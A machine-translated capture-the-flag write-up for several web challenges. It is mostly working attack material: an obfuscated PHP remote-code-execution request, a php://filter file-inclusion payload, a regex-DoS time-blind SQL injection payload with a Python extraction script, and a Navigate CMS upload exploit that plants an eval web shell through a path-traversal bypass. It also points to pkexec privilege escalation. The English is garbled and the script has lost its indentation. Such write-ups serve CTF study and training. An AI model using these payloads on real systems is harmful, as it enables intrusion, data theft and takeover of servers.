ordinary PHP
GET /?code=[~%8C%86%8C%8B%9A%92][~%CF]([~%9A%91%9B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]())); HTTP/1.1
Host: 192.168.1.111:8220
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: cat /ffffflaggg
Simple inclusion
Plain Text
POST / HTTP/1.1
Host: 192.168.1.113
Content-Length: 11845
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Edg/103.0.1264.37
Origin: http://192.168.1.113
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.113/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
flag=php://filter////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////read=convert.base64-encode/resource=flag.php
can_u_login
if and case By waf testing , use elt Instead of
sleep and benchmark By waf testing , Use regular DOS RLIKE Injection mode for time blind injection , Specific reference :https://xz.aliyun.com/t/5505
Regular in the above link DOS RLIKE Injected payload Used mid To get data , In this question mid、sub Detected , adopt regexp Get data with regular expressions . Regular :'^X.*', among X Is the enumerated data .
obtain password length payload:
Python
select elt((elt((select length(GROUP_CONCAT(password))from ctf_user)regexp 3,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)),'a') or '1'regexp'1'
obtain password Script :
Python
# coding: utf-8
import requests
import string
url = "http://192.168.1.112/?password="
payload = "1'%20or%20elt((elt((select%20GROUP_CONCAT(password)from%20users)regexp%20'%5EFUZZ.*'%2Cconcat(rpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a')%2Crpad(1%2C999999%2C'a'))%20regexp%20'(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2B(a.*)%2Bcd'%2C1))%2C'a')%20or%20'1'regexp'1"
url = url + payload
sess = requests.session()
p = ''
for i in range(32):
for ch in string.printable:
try:
req = sess.get(url.replace('FUZZ', p + ch), proxies={'http': 'http://127.0.0.1:8080'}, timeout=7)
except Exception:
p += ch
print(ch, end='')
break
Master Gao
Weak background password admin/admin123
according to /.git/ Leaked source code , You can know the version is navigate cms2.8. obtain git Leak source code tools :https://github.com/gakki429/Git_Extract
2.8 The version has any background file upload ,exp as follows :
Plain Text
POST /navigate_upload.php HTTP/1.1
Host: 192.168.1.116
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 687
Cookie: PHPSESSID=pql5ftm54o92bdgm6c7itteau2
Content-Type: multipart/form-data; boundary=------------------------52d89447a13264a8
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="name"
exploit.jpg
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="session_id"
pql5ftm54o92bdgm6c7itteau2
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="engine"
picnik
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="id"
..././..././..././web/index.php
--------------------------52d89447a13264a8
Content-Disposition: form-data; name="file"; filename="exploit.jpg"
Content-Type: image/jpeg
<?php
eval($_POST[1123455566]);print_r(md5(1));
--------------------------52d89447a13264a8--
It should be noted that , The source code of the title has been changed , It's filtered out id Of ../, adopt ..././ Bypass
getshell The right needs to be raised later , see suid give the result as follows
There is pkexec, Can pass cve Right to come ,https://github.com/arthepsy/CVE-2021-4034
web There is a... In the root directory I_want_capture_the_flag Program , Extracted and analyzed , When web The root directory does not exist bocai.html and bocai.png When reading /root/flag Output after decryption .
By default bocat.html and bocai.png Deletion is not allowed , adopt chattr -i and chatt -a Remove restrictions , Then delete
Finally, execute I_want_capture_the_flag obtain flag
Easygo
From the source code of the attachment ,/juice/ Route presence injection
adopt sqlmap You can run out directly flag